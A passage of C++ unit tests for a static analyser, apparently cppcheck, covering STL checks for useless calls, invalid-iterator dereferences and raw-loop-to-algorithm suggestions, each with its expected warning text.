std::remove(\\\"foo.txt\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (warning) Return value of std::remove() ignored. Elements remain in container. [uselessCallsRemove]\\n\"\n \"[test.cpp:3:5]: (warning) Return value of std::remove_if() ignored. Elements remain in container. [uselessCallsRemove]\\n\"\n \"[test.cpp:4:5]: (warning) Return value of std::unique() ignored. Elements remain in container. [uselessCallsRemove]\\n\", errout_str());\n\n // #4431 - fp\n check(\"bool f() {\\n\"\n \" return x ? true : (y.empty());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8360\n check(\"void f(std::string s) {\\n\"\n \" for (;s.empty();) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11166\n check(\"std::string f(std::string s) {\\n\"\n \" s = s.substr(0, s.size() - 1);\\n\"\n \" return s;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (performance) Ineffective call of function 'substr' because a prefix of the string is assigned to itself. Use resize() or pop_back() instead. [uselessCallsSubstr]\\n\",\n errout_str());\n\n check(\"std::string f(std::string s, std::size_t start, std::size_t end, const std::string& i) {\\n\"\n \" s = s.substr(0, start) + i + s.substr(end + 1);\\n\"\n \" return s;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (performance) Ineffective call of function 'substr' because a prefix of the string is assigned to itself. Use replace() instead. [uselessCallsSubstr]\\n\",\n errout_str());\n\n check(\"std::string f(std::string s, std::size_t end) {\\n\"\n \" s = { s.begin(), s.begin() + end };\\n\"\n \" return s;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (performance) Inefficient constructor call: container 's' is assigned a partial copy of itself. Use erase() or resize() instead. [uselessCallsConstructor]\\n\",\n errout_str());\n\n check(\"std::list f(std::list l, std::size_t end) {\\n\"\n \" l = { l.begin(), l.begin() + end };\\n\"\n \" return l;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (performance) Inefficient constructor call: container 'l' is assigned a partial copy of itself. Use erase() or resize() instead. [uselessCallsConstructor]\\n\",\n errout_str());\n\n check(\"std::string f(std::string s, std::size_t end) {\\n\"\n \" s = std::string{ s.begin(), s.begin() + end };\\n\"\n \" return s;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (performance) Inefficient constructor call: container 's' is assigned a partial copy of itself. Use erase() or resize() instead. [uselessCallsConstructor]\\n\",\n errout_str());\n\n check(\"std::string f(std::string s, std::size_t end) {\\n\"\n \" s = std::string(s.begin(), s.begin() + end);\\n\"\n \" return s;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (performance) Inefficient constructor call: container 's' is assigned a partial copy of itself. Use erase() or resize() instead. [uselessCallsConstructor]\\n\",\n errout_str());\n\n check(\"std::vector f(std::vector v, std::size_t end) {\\n\"\n \" v = std::vector(v.begin(), v.begin() + end);\\n\"\n \" return v;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (performance) Inefficient constructor call: container 'v' is assigned a partial copy of itself. Use erase() or resize() instead. [uselessCallsConstructor]\\n\",\n errout_str());\n }\n\n void stabilityOfChecks() {\n // Stability test: 4684 cppcheck crash in template function call.\n check(\"template\\n\"\n \"class EffectivityRangeData {};\\n\"\n \"template\\n\"\n \"class EffectivityRange {\\n\"\n \" void unite() {\\n\"\n \" x < vector < EffectivityRangeData> >();\\n\"\n \" EffectivityRange er;\\n\"\n \" }\\n\"\n \" void shift() { EffectivityRangeData::iterator it; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void dereferenceInvalidIterator() {\n // Test simplest \"if\" with && case\n check(\"void foo(std::string::iterator& i) {\\n\"\n \" if (std::isalpha(*i) && i != str.end()) {\\n\"\n \" std::cout << *i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (warning) Possible dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n check(\"void foo(std::string::iterator& i) {\\n\"\n \" if(foo) { bar(); }\\n\"\n \" else if (std::isalpha(*i) && i != str.end()) {\\n\"\n \" std::cout << *i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:27]: (warning) Possible dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n // Test suggested correction doesn't report an error\n check(\"void foo(std::string::iterator& i) {\\n\"\n \" if (i != str.end() && std::isalpha(*i)) {\\n\"\n \" std::cout << *i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Test \"while\" with \"&&\" case\n check(\"void foo(std::string::iterator& i) {\\n\"\n \" while (std::isalpha(*i) && i != str.end()) {\\n\"\n \" std::cout << *i;\\n\"\n \" i ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:25]: (warning) Possible dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n check(\"void foo(std::string::iterator& i) {\\n\"\n \" do {\\n\"\n \" std::cout << *i;\\n\"\n \" i ++;\\n\"\n \" } while (std::isalpha(*i) && i != str.end());\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:27]: (warning) Possible dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n // Test \"while\" with \"||\" case\n check(\"void foo(std::string::iterator& i) {\\n\"\n \" while (!(!std::isalpha(*i) || i == str.end())) {\\n\"\n \" std::cout << *i;\\n\"\n \" i ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:28]: (warning) Possible dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n // Test fix for \"while\" with \"||\" case\n check(\"void foo(std::string::iterator& i) {\\n\"\n \" while (!(i == str.end() || !std::isalpha(*i))) {\\n\"\n \" std::cout << *i;\\n\"\n \" i ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Test \"for\" with \"&&\" case\n check(\"void foo(std::string::iterator& i) {\\n\"\n \" for (; std::isalpha(*i) && i != str.end() ;) {\\n\"\n \" std::cout << *i;\\n\"\n \" i ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:25]: (warning) Possible dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n // Test \"for\" with \"||\" case\n check(\"void foo(std::string::iterator& i) {\\n\"\n \" for (; std::isalpha(*i) || i == str.end() ;) {\\n\"\n \" std::cout << *i;\\n\"\n \" i ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:25]: (warning) Possible dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n // Test that a dereference outside the condition part of a \"for\"\n // loop does not result in a false positive\n check(\"void foo(std::string::iterator& i) {\\n\"\n \" for (char c = *i; isRunning && i != str.end() ;) {\\n\"\n \" std::cout << c;\\n\"\n \" i ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Test that other \"&&\" terms in the condition don't invalidate the check\n check(\"void foo(char* c, std::string::iterator& i) {\\n\"\n \" if (*c && std::isalpha(*i) && i != str.end()) {\\n\"\n \" std::cout << *i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:28]: (warning) Possible dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n // Test that dereference of different variable doesn't trigger a false positive\n check(\"void foo(const char* c, std::string::iterator& i) {\\n\"\n \" if (std::isalpha(*c) && i != str.end()) {\\n\"\n \" std::cout << *c;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Test case involving \"rend()\" instead of \"end()\"\n check(\"void foo(std::string::iterator& i) {\\n\"\n \" while (std::isalpha(*i) && i != str.rend()) {\\n\"\n \" std::cout << *i;\\n\"\n \" i ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:25]: (warning) Possible dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n // Test that mixed \"&&\" and \"||\" don't result in a false positive\n check(\"void foo(std::string::iterator& i) {\\n\"\n \" if ((i == str.end() || *i) || (isFoo() && i != str.end())) {\\n\"\n \" std::cout << \\\"foo\\\";\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v;\\n\"\n \" std::vector ::iterator i = v.end();\\n\"\n \" *i=0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: (error) Dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v;\\n\"\n \" std::vector ::iterator i = std::end(v);\\n\"\n \" *i=0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: (error) Dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n check(\"void f(std::vector v) {\\n\"\n \" std::vector ::iterator i = v.end();\\n\"\n \" *i=0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:6]: (error) Dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n check(\"void f(std::vector v) {\\n\"\n \" std::vector ::iterator i = v.end();\\n\"\n \" *(i+1)=0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:8]: (error) Dereference of an invalid iterator: i+1 [derefInvalidIterator]\\n\", errout_str());\n\n check(\"void f(std::vector v) {\\n\"\n \" std::vector ::iterator i = v.end();\\n\"\n \" *(i-1)=0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector v) {\\n\"\n \" std::vector ::iterator i = v.begin();\\n\"\n \" *(i-1)=0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:8]: (error) Dereference of an invalid iterator: i-1 [derefInvalidIterator]\\n\", errout_str());\n\n check(\"void f(std::vector v) {\\n\"\n \" std::vector ::iterator i = std::begin(v);\\n\"\n \" *(i-1)=0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:8]: (error) Dereference of an invalid iterator: i-1 [derefInvalidIterator]\\n\", errout_str());\n\n check(\"void f(std::vector v, bool b) {\\n\"\n \" std::vector ::iterator i = v.begin();\\n\"\n \" if (b)\\n\"\n \" i = v.end();\\n\"\n \" *i=0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:6]: (warning) Possible dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n check(\"void f(std::vector v, bool b) {\\n\"\n \" std::vector ::iterator i = v.begin();\\n\"\n \" if (b)\\n\"\n \" i = v.end();\\n\"\n \" *(i+1)=0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:8]: (warning) Possible dereference of an invalid iterator: i+1 [derefInvalidIterator]\\n\", errout_str());\n\n check(\"void f(std::vector v, bool b) {\\n\"\n \" std::vector ::iterator i = v.begin();\\n\"\n \" if (b)\\n\"\n \" i = v.end();\\n\"\n \" *(i-1)=0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:8]: (warning) Possible dereference of an invalid iterator: i-1 [derefInvalidIterator]\\n\", errout_str());\n\n check(\"int f(std::vector v, int pos) {\\n\"\n \" if (pos >= 0)\\n\"\n \" return *(v.begin() + pos);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(std::vector v, int i) {\\n\"\n \" auto it = std::find(v.begin(), v.end(), i);\\n\"\n \" if (it != v.end()) {}\\n\"\n \" return *it;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:12] -> [test.cpp:4:13]: (warning) Either the condition 'it!=v.end()' is redundant or there is possible dereference of an invalid iterator: it. [derefInvalidIteratorRedundantCheck]\\n\", errout_str());\n\n check(\"void f(std::vector & v) {\\n\"\n \" std::vector::iterator i= v.begin();\\n\"\n \" if(i == v.end() && *(i+1) == *i) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:3:27]: (warning) Either the condition 'i==v.end()' is redundant or there is possible dereference of an invalid iterator: i+1. [derefInvalidIteratorRedundantCheck]\\n\"\n \"[test.cpp:3:10] -> [test.cpp:3:35]: (warning) Either the condition 'i==v.end()' is redundant or there is possible dereference of an invalid iterator: i. [derefInvalidIteratorRedundantCheck]\\n\", errout_str());\n\n\n check(\"void f(std::vector & v) {\\n\"\n \" std::vector::iterator i= v.begin();\\n\"\n \" if(i == v.end() && *i == *(i+1)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:3:25]: (warning) Either the condition 'i==v.end()' is redundant or there is possible dereference of an invalid iterator: i. [derefInvalidIteratorRedundantCheck]\\n\"\n \"[test.cpp:3:10] -> [test.cpp:3:33]: (warning) Either the condition 'i==v.end()' is redundant or there is possible dereference of an invalid iterator: i+1. [derefInvalidIteratorRedundantCheck]\\n\", errout_str());\n\n check(\"void f(std::vector & v) {\\n\"\n \" std::vector::iterator i= v.begin();\\n\"\n \" if(i != v.end() && *i == *(i+1)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:3:33]: (warning) Either the condition 'i!=v.end()' is redundant or there is possible dereference of an invalid iterator: i+1. [derefInvalidIteratorRedundantCheck]\\n\", errout_str());\n\n check(\"void f(std::vector & v) {\\n\"\n \" std::vector::iterator i= v.begin();\\n\"\n \" if(i != v.end()) {\\n\"\n \" if (*(i+1) == *i) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:4:16]: (warning) Either the condition 'i!=v.end()' is redundant or there is possible dereference of an invalid iterator: i+1. [derefInvalidIteratorRedundantCheck]\\n\", errout_str());\n\n check(\"void f(std::vector & v) {\\n\"\n \" std::vector::iterator i= v.begin();\\n\"\n \" if(i == v.end()) { return; }\\n\"\n \" if (*(i+1) == *i) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:4:12]: (warning) Either the condition 'i==v.end()' is redundant or there is possible dereference of an invalid iterator: i+1. [derefInvalidIteratorRedundantCheck]\\n\", errout_str());\n\n check(\"void f(std::vector & v) {\\n\"\n \" std::vector::iterator i= v.begin();\\n\"\n \" if(i != v.end() && (i+1) != v.end() && *(i+1) == *i) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::string s) {\\n\"\n \" for (std::string::const_iterator i = s.begin(); i != s.end(); ++i) {\\n\"\n \" if (i != s.end() && (i + 1) != s.end() && *(i + 1) == *i) {\\n\"\n \" if (!isalpha(*(i + 2))) {\\n\"\n \" std::string modifier;\\n\"\n \" modifier += *i;\\n\"\n \" modifier += *(i + 1);\\n\"\n \" }\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:37] -> [test.cpp:4:30]: (warning) Either the condition '(i+1)!=s.end()' is redundant or there is possible dereference of an invalid iterator: i+2. [derefInvalidIteratorRedundantCheck]\\n\", errout_str());\n\n check(\"void f(int v, std::map &items) {\\n\"\n \" for (auto it = items.begin(); it != items.end();)\\n\"\n \" (it->first == v) ? it = items.erase(it) : ++it;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::string s) {\\n\"\n \" for (std::string::const_iterator i = s.begin(); i != s.end(); ++i) {\\n\"\n \" if (i != s.end() && (i + 1) != s.end() && *(i + 1) == *i) {\\n\"\n \" if ((i + 2) != s.end() && !isalpha(*(i + 2))) {\\n\"\n \" std::string modifier;\\n\"\n \" modifier += *i;\\n\"\n \" modifier += *(i + 1);\\n\"\n \" }\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(std::vector::iterator it, const std::vector& vector) {\\n\"\n \" if (!(it != vector.end() && it != vector.begin()))\\n\"\n \" throw std::out_of_range();\\n\"\n \" if (it != vector.end() && *it == 0)\\n\"\n \" return -1;\\n\"\n \" return *it;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(std::vector &vect) {\\n\"\n \" const int &v = *vect.emplace(vect.end());\\n\"\n \" return v;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"extern bool bar(int);\\n\"\n \"void f(std::vector & v) {\\n\"\n \" std::vector::iterator i= v.begin();\\n\"\n \" if(i == v.end() && bar(*(i+1)) ) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:4:10] -> [test.cpp:4:31]: (warning) Either the condition 'i==v.end()' is redundant or there is possible dereference of an invalid iterator: i+1. [derefInvalidIteratorRedundantCheck]\\n\",\n errout_str());\n\n // #10657\n check(\"std::list mValues;\\n\"\n \"typedef std::list::iterator ValueIterator;\\n\"\n \"void foo(ValueIterator beginValue, ValueIterator endValue) {\\n\"\n \" ValueIterator prevValue = beginValue;\\n\"\n \" ValueIterator curValue = beginValue;\\n\"\n \" for (++curValue; prevValue != endValue && curValue != mValues.end(); ++curValue) {\\n\"\n \" a = bar(*curValue);\\n\"\n \" prevValue = curValue;\\n\"\n \" }\\n\"\n \" if (endValue == mValues.end()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10642\n check(\"int f(std::vector v) {\\n\"\n \" return *(v.begin() + v.size() - 1);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10716\n check(\"struct a;\\n\"\n \"class b {\\n\"\n \" void c(std::map &);\\n\"\n \" std::string d;\\n\"\n \" std::map> e;\\n\"\n \"};\\n\"\n \"void b::c(std::map &) {\\n\"\n \" e.clear();\\n\"\n \" auto f = *e[d].begin();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:9:23]: (error) Out of bounds access in expression 'e[d].begin()' because 'e[d]' is empty. [containerOutOfBounds]\\n\",\n errout_str());\n\n // #10151\n check(\"std::set::iterator f(std::set& s) {\\n\"\n \"for (auto it = s.begin(); it != s.end(); ++it)\\n\"\n \" if (*it == 42)\\n\"\n \" return s.erase(it);\\n\"\n \" return s.end();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:0]: (style) Consider using std::find_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n // #11381\n check(\"int f(std::map& map) {\\n\"\n \" auto it = map.find(1);\\n\"\n \" if (it == map.end()) {\\n\"\n \" bool bInserted;\\n\"\n \" std::tie(it, bInserted) = map.emplace(1, 42);\\n\"\n \" }\\n\"\n \" return debug_valueflow(it)->second;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11557\n check(\"bool f(const std::vector& v, std::vector::iterator it, bool b) {\\n\"\n \" if (it == v.end())\\n\"\n \" return false;\\n\"\n \" if (b && ((it + 1) == v.end() || (*(it + 1)) != nullptr))\\n\"\n \" return false;\\n\"\n \" return true;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6925\n check(\"void f(const std::string& s, std::string::iterator i) {\\n\"\n \" if (i != s.end() && *(i + 1) == *i) {\\n\"\n \" if (i + 1 != s.end()) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:19] -> [test.cpp:2:29]: (warning) Either the condition 'i+1!=s.end()' is redundant or there is possible dereference of an invalid iterator: i+1. [derefInvalidIteratorRedundantCheck]\\n\",\n errout_str());\n\n check(\"void f(bool b, std::vector v) {\\n\" // #12680\n \" if (!v.empty()) {\\n\"\n \" auto it = v.begin();\\n\"\n \" if (b) {\\n\"\n \" v.clear();\\n\"\n \" it = v.begin();\\n\"\n \" }\\n\"\n \" for (++it; it != v.end(); ++it) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str()); // don't crash\n\n check(\"void f(int);\\n\" // #13064\n \"void g() {\\n\"\n \" std::vector v{ 0 };\\n\"\n \" auto it = std::find(v.begin(), v.end(), 0);\\n\"\n \" if (it == v.end()) {\\n\"\n \" f({});\\n\"\n \" it = v.begin();\\n\"\n \" }\\n\"\n \" *it;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int g() {\\n\" // #13332\n \" const std::vector v = { 1, 2, 3, 4 };\\n\"\n \" const std::vector::const_iterator a[2] = { v.begin(), v.end() };\\n\"\n \" return *a[0];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void dereferenceInvalidIterator2() {\n // Self-implemented iterator class\n check(\"class iterator {\\n\"\n \"public:\\n\"\n \" CCommitPointer m_ptr;\\n\"\n \" iterator() {}\\n\"\n \" CCommitPointer& operator*() {\\n\"\n \" return m_ptr;\\n\"\n \" }\\n\"\n \" CCommitPointer* operator->() {\\n\"\n \" return &m_ptr;\\n\"\n \" }\\n\"\n \" iterator& operator++() {\\n\"\n \" ++m_ptr.m_place;\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \" };\\n\"\n \" iterator begin() {\\n\"\n \" iterator it;\\n\"\n \" it->m_place = 0;\\n\"\n \" return it;\\n\"\n \"}\\n\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:18:5]: (error, inconclusive) Invalid iterator 'it' used. [eraseDereference]\\n\", errout_str());\n }\n\n void loopAlgoElementAssign() {\n check(\"void foo() {\\n\"\n \" for(int& x:v)\\n\"\n \" x = 1;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Consider using std::fill algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" for(int& x:v)\\n\"\n \" x = x + 1;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Consider using std::transform algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo(int a, int b) {\\n\"\n \" for(int& x:v)\\n\"\n \" x = a + b;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Consider using std::fill or std::generate algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" for(int& x:v)\\n\"\n \" x += 1;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Consider using std::transform algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" for(int& x:v)\\n\"\n \" x = f();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Consider using std::generate algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" for(int& x:v) {\\n\"\n \" f();\\n\"\n \" x = 1;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" for(int& x:v) {\\n\"\n \" x = 1;\\n\"\n \" f();\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // There should probably be a message for unconditional break\n check(\"void foo() {\\n\"\n \" for(int& x:v) {\\n\"\n \" x = 1;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" for(int& x:v)\\n\"\n \" x = ++x;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void loopAlgoAccumulateAssign() {\n check(\"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v)\\n\"\n \" n += x;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::accumulate algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v)\\n\"\n \" n = n + x;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::accumulate algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v)\\n\"\n \" n += 1;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::distance algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v)\\n\"\n \" n = n + 1;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::distance algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"bool f(int);\\n\"\n \"void foo() {\\n\"\n \" bool b = false;\\n\"\n \" for(int x:v)\\n\"\n \" b &= f(x);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(int);\\n\"\n \"void foo() {\\n\"\n \" bool b = false;\\n\"\n \" for(int x:v)\\n\"\n \" b |= f(x);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(int);\\n\"\n \"void foo() {\\n\"\n \" bool b = false;\\n\"\n \" for(int x:v)\\n\"\n \" b = b && f(x);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(int);\\n\"\n \"void foo() {\\n\"\n \" bool b = false;\\n\"\n \" for(int x:v)\\n\"\n \" b = b || f(x);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int& x:v)\\n\"\n \" n = ++x;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::size_t f(const std::map& m) {\\n\" // #10412\n \" std::size_t t = 0;\\n\"\n \" for (std::map::const_iterator i = m.begin(); i != m.end(); ++i) {\\n\"\n \" t += i->second;\\n\"\n \" }\\n\"\n \" for (std::map::const_iterator i = m.begin(); i != m.end(); i++) {\\n\"\n \" t += i->second;\\n\"\n \" }\\n\"\n \" return t; \\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::accumulate algorithm instead of a raw loop. [useStlAlgorithm]\\n\"\n \"[test.cpp:7:11]: (style) Consider using std::accumulate algorithm instead of a raw loop. [useStlAlgorithm]\\n\",\n errout_str());\n\n check(\"int g(const std::vector& v) {\\n\"\n \" int t = 0;\\n\"\n \" for (auto i = v.begin(); i != v.end(); ++i) {\\n\"\n \" t += *i;\\n\"\n \" }\\n\"\n \" return t;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::accumulate algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"auto g(const std::vector& v) {\\n\"\n \" std::vector::iterator> r;\\n\"\n \" for (auto i = v.begin(); i != v.end(); ++i) {\\n\"\n \" r.push_back(i);\\n\"\n \" }\\n\"\n \" return r;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::string f(std::vector v) {\\n\"\n \" std::string ret;\\n\"\n \" for (const std::string& s : v)\\n\"\n \" ret += s + '\\\\n';\\n\"\n \" return ret;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::string f(const std::string& s) {\\n\"\n \" std::string ret;\\n\"\n \" for (char c : s)\\n\"\n \" if (c != ' ')\\n\"\n \" ret += i;\\n\"\n \" return ret;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(const std::vector& v) {\\n\"\n \" int sum = 0;\\n\"\n \" for (auto it = v.begin(); it != v.end(); it += 2)\\n\"\n \" sum += *it;\\n\"\n \" return sum;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(const std::vector& v) {\\n\" // #12900\n \" int x{};\\n\"\n \" for (const auto i : v)\\n\"\n \" x = dostuff(i);\\n\"\n \" return x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(const std::vector& v) {\\n\" // #11493\n \" int s = 0;\\n\"\n \" for (std::size_t i = 0; i < 